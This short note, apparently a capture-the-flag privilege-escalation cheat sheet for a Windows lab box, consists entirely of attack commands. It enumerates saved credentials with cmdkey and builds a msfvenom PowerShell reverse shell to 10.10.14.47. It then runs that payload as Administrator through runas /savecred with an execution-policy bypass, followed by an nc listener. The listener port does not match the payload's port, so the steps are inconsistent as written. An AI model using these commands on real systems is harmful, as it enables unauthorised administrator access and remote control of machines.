Saved Creds runas
cmdkey /list ..look for saved passwords
..found user: ACCESS\Administrator
prep:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.47 LPORT=1337 -f psh -o reverse.ps1
C:\Windows\System32\runas.exe /user:ACCESS\Administrator /savecred "C:\Windows\System32\cmd.exe /c powershell -ExecutionPolicy Bypass -NoExit -File c:\temp\reverse.ps1"
nc -nvlp 4444
Last updated